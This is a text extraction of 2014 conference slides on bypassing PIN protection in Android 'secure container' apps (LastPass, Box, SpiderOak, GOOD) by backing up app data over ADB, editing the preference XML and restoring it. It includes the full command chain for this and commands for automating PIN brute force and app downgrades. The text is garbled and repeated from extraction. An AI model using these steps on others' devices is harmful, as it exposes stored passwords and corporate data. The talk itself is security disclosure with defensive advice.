
Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 4: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 7

[0] Why

[1] Scenario

[2] How

[3] Closer Look

[4] Making it easy

[5] Review

Chris John Riley | 22102014 | 9

0

][WHY

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 5: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 9

0

][WHY

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

